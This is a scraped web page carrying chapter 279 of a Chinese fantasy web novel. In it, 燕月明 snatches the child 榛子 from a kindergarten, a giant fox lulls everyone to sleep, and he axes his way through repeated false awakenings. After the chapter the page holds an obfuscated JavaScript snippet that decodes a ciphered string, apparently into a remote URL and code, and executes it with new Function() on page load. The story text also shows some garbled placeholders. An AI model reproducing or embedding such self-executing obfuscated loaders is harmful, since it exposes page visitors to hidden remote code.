返回

小明历险记

首页
关灯
护眼
字体:
279 胡来之地(三十一)
五点,幼儿园刚好放学。

胡地的幼儿园有严格的时间规定,每□□九晚五,不论刮风下雨,亦或是天上下刀子,幼儿园从不停课。

今天也一样。

操场上的旗杆倒了,枯枝落叶飘了满地,一片狼藉,但室内却没有遭受多大的损害。只是歪楼倒塌和我欲成仙观被雷劈的动静太大,震着震着,把堆放体育器材室的小房子震塌了。

地面龟裂开来,露出了下边埋着的坟。

学校总是建在坟堆上的,没有人因此表现出讶异。

放了学,雨夹雪也逐渐向真正的雪转化。老师们拿着工具准备打扫学校,学生们则背着书包,在等待家长来接的同时打起了雪仗。

房车在校门口缓缓停下,燕月明一眼就看到了在人群中的榛子。他留了级,因此比其他的孩子都要高大一些,胸前别着鲜艳的小红花,叉着腰,正很有大孩子派头地在那边维持秩序,吆五喝六。

108宝则是一个天然的小团体,与榛子带领的小朋友们泾渭分明。

狐狸的面具马上就要掉下来了,燕月明来不及多看,站在门口朝榛子挥手,“榛子,快来,回家了!”

学长说,孩子是狐说的克星,他们最好带着榛子一起走。根据幼儿园的规则,不是监护人不能接走孩子,想要接人,就得钻空子。

但是恰好,四分队的文澜就在幼儿园当实习老师。

这一环扣一环,说不上是巧合,还是学长算无遗策。燕月明故意出声叫榛子,也是在提醒文澜。果然,在他那句话喊出来之后,文澜接收到信号,迅速从学校里走出来。

她戴着橡胶手套、拿着扫帚,如同所有的教师一样面带微笑,礼貌得体,却在靠近大门的过程中,越走越快、越走越快。彼时榛子也走到了大门口,正疑惑着隔壁邻居怎么会出现在这里,就看到自己的老师突然摔倒在他身前。

文澜趁势丢了扫帚,抬头质问:“榛子,你为什么绊倒老师?”

榛子愣住,“啊?”

文澜从地上拿起一粒珠子,“这不是你在手工课上拿的吗?”

榛子仔细看那珠子,确实是他的,上面还有他穷极无聊用刀子划的划痕,下意识地就点头承认了。

“走。”文澜立刻抓住他的手腕,“你不乖,我要去你家家访。”

“不!!!”榛子巨冤,他早上才被园长做过家访,头都被开瓢了,怎么又来?而且他根本没有想要绊倒老师,是老师碰瓷,“你污——唔、唔唔!”

文澜一把捂住他的嘴,脸上却仍旧挂着职业的微笑,回头冲自己的同事们解释:“你们都看到了,他犯了错,我去家访。”

同事们面面相觑,似有狐疑,但又抓不住什么漏洞,于是就都站在原地没有动。108宝倒是簇拥着过来了,邪魅冷笑,对榛子进行无情打击。

“你犯错了。”

“你小红花要没了。”

“跟我

们斗,哼,这就是你的下场!()”

“()”

燕月明急急出声,第一次做绑匪,他没有经验,还特别心虚,生怕被抓。而就在车门关闭的刹那,燕月明最后一次回望——

远方的天空中,一张面具缓缓从巨型的风筝上掉落。狐狸露出了真容,它有一双漂亮的勾魂摄魄的眼睛。

巨大的毛绒尾巴甩动间,它张开了嘴。

糟糕。

燕月明的心直坠寒潭,哪怕还未听见任何声响,都已经觉得手脚冰凉,还有无限耳鸣。可下一秒,哭声乍响,以更直接、更具破坏力的姿态直冲耳膜。

“呜哇哇哇——”

“好可怕、好可怕,狐狸要说话了,要吃我了!”

榛子开始哭,他一哭,就形成了连锁反应。其他的孩子也跟着哭,那吵闹程度、那杀伤力,差点没把燕月明给干趴下。他痛苦地捂住了耳朵,脑子里仿佛有一万只鸭子在叫,还有枇杷和桃子在旁边嘤嘤嘤。

天呐。

救命。

“闭、嘴。”

另一道声音传入耳中,隔着遥远的距离,仿佛天外梵音。燕月明马上意识到这是狐狸在说话,带着蛊惑人心的意味,叫人脑子里昏昏沉沉的。

他不由自主地紧闭嘴巴,可榛子不干。他哭得更厉害了,坐在地上,张嘴就是哇哇大哭、涕泪横流。

这个世界上什么存在是最不可理喻的?是热恋中的男女吗?是爱恨情仇吗?

不,都不是,是人类幼崽。

必要时刻,他们可以无视一切规则,成为这个世界上最不可理喻的恶魔。

燕月明觉得脑子都要炸了,痛苦但是很清醒。如果可以,他宁愿跟麻烦总裁一块儿阴暗爬行,也不想在这里承受这种清醒的痛苦。

难道这就是世界末日吗?以毒攻毒的方法会不会有点太毒了?

孩童的哭声持续走高,文澜都开始流露出痛苦表情。就在这时,燕月明瞥见坐在座位上的盲似乎动了一下,怀中有一道亮光闪过。

是镜子,镜子突然开始滑落。

来不及了,燕月明一个飞扑过去,赶在镜子落地前将它接住,又迅速将它放回盲的身上。他抬头看,好险,盲的睫毛在颤动,但好在还没真的睁开眼睛。

可天有不测风云,就在他松了一口气的同时,狐狸又开口说话了。

“入夜了,该睡觉了。”

五点半,黑夜降临。

虽然哭声犹在,但燕月明依旧感觉到眼皮像灌了铅,控制不住地想要睡去。他甩了甩脑袋,想要把这股困意甩出脑袋,甚至咬破舌尖想要清醒,却仍无济于事。

“小明?”

“小明你醒醒!”

“小明!”

 

;()有人在叫他。

燕月明努力地想要回应,但整个人就像是被鬼压床了一样,动弹不得。他的脑子还晕乎乎的,越是挣扎,就越是刺痛。

不知过了多久,他终于找回一丝清明,在不知是谁的推搡中,猝然惊醒。

“小明,你醒了?”文澜惊喜出声,把燕月明从地上扶着坐起来。

“我怎么了?怎么会睡着的?”燕月明捂着脑袋环视一圈,发现胡非、枇杷和桃子都不见了,榛子则跟他一样倒在地上,脸蛋通红,满是泪痕。他连忙伸手去探他的额头,好烫。

“他发烧了。”燕月明顾不得其他,忙从背包里摸出药和水,让文澜帮忙喂给他,再将榛子抱去沙发上安置。

等做完了这些,他才喘口气问道:“我学长呢?还有其他人呢?”

文澜面露苦涩。

燕月明心里咯噔一下,唰地打开密闭的窗帘看向外面。触目的景象让他觉得刺痛,不是因为多么惨烈,而是满世界的雪白,灼伤了他的眼。他闭着眼缓了两秒,才小心翼翼地睁开。只见房车仍在原地,但世界已经变了。

灰蒙蒙的天空中,一片云都没有。

巨型的风筝坠落于内城的围墙上,黯淡无光。狐狸失去了踪影,天空失去了色彩,白茫茫大地一片死寂,静得好像只剩下房车上的这两个人。

连空气都失去了流动。

时间归于静止。

燕月明仿佛回到了第一次掉进寂静街区的时候,那种惶恐、害怕瞬间撅住了他的心神。与此同时,文澜的声音在背后响起。

“你别太担心,当时我们都被狐狸蛊惑着入睡,但有榛子在,多多少少保持了一些清醒。后来外面彻底乱了,丧尸过来,园长出手。黎老板带着胡非和大黄出去,让我留在这里守着你们。现在他还没有回来,但不代表……”

这话越说越艰难,一点都没有安慰到燕月明,他暗自攥紧了拳头,“那枇杷和桃子呢?”

文澜摇头,“醒来就发现她们不在了。”

说着,她又蹙眉道:“你说,她们出现在你身边这个举动,会不会就是Q塔特意安排的?这时候离开,一定有问题。”

“嗯。”燕月明轻声应答,“我也觉得有问题。”

文澜:“那你觉得问题在哪里?”

燕月明:“你。”

文澜诧异,“我?”

燕月明:“你为什么先叫醒我?”

“什么意思?”文澜蹙眉反问,眼神里流露出一丝警惕,“小明,你在说什么?”

燕月明心里打颤,面上强撑,甚至咄咄逼人,“房车已经熄火了,车内温度很低,这样的温度,如果我躺了很久,我应该会死。”

文澜:“是我一直在照看你——”

燕月明打断她,“那你为什么不先救榛子?虽然他是NPC,但你是经验丰富的搜救队员,在那样的情况下,你不该对一个可能帮得上忙的,而且是小孩儿的NPC置于不顾,等着我醒过来

救他。”

文澜恍然大悟,随即解释道:“我身上没有药。”

“你骗人。你没有药,我有,这是在胡地,你直接从我身上拿一片药又不会坐牢。我是后勤你又不是不知道,谁没有我都不可能没有。我学长要是出去了也不可能抛下我一点信息都不给我留,还把大黄带走——你简直胡说八道!”

话音落下,燕月明一斧头劈出去,然后他就又醒了。

“小明?”

“小明你醒醒!”

熟悉的话语,熟悉的剧情,但NPC换了一个,变成了胡非。

燕月明直接拔斧,“我学长这次又留你下来照看我了?”

胡非又惊喜又错愕,“你在说什么?快起来,赶快喝点姜汤,别感冒了。你学长带着大黄和园长谈话去了,很快就回来。”

燕月明狐疑,“是吗?那狐狸呢?”

胡非:“内城有人敲鼓,鼓声把风筝震了下来,已经坠毁了。只不过那时候我们都已经陷入了昏睡,后来我比你先醒,黎铮就让我留下来照看你。”

闻言,燕月明扫视一圈,发现大家都在。榛子也好好地躺在沙发上,没有发烧。可是小动物的本能一直在线,让燕月明的后脖颈凉凉的,脑子里始终有根神经紧绷着。

他举起斧子,真诚发问:“为什么我学长和大黄就总是不在呢?他们就不能留一个人下来陪我吗?我不信。”

燕月明又一斧子劈下去,同样的剧情再次上演。

“呜哇哇哇——”

“你别死啊!”

这回是榛子坐在他旁边哭丧。

阴暗小明决定现在就把他劈了。

“等等。”一只手伸过来,制止了他的行为。他听着那熟悉的声音,热泪盈眶地回过头去,看到黎铮,瞬间变脸。

“你是谁?你好丑!”燕月明站起身来追杀。

这个“学长”,三分邪魅五分高冷,还有两分不伦不类。这是相的品味,可不是他小明的品味,是可忍孰不可忍。

很快,燕月明第四次醒来,第一反应就是拔斧头。

第二反应是好吵,榛子的哭声、大黄的叫声,一个在左、一个在右,头顶隔着车厢还有丧尸的嘶吼,全方位立体声环绕。

狐狸还在说话。

“我好像做了一个幽长的梦,梦醒的时候,胡地都到末日了。什么是梦,什么是现实呢?你现在是在梦中还是在现实里?回来的你,又是你吗?”

燕月明觉得心好累啊,内心的阴暗滋儿哇滋儿哇地往外冒,抄起小金斧又是一斧头劈下去。小明从不考虑这种哲学问题,他只考虑游泳池里一个口放水、一个口进水,要用多久才能把水排干的问题。

垃圾世界,毁灭吧!!

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();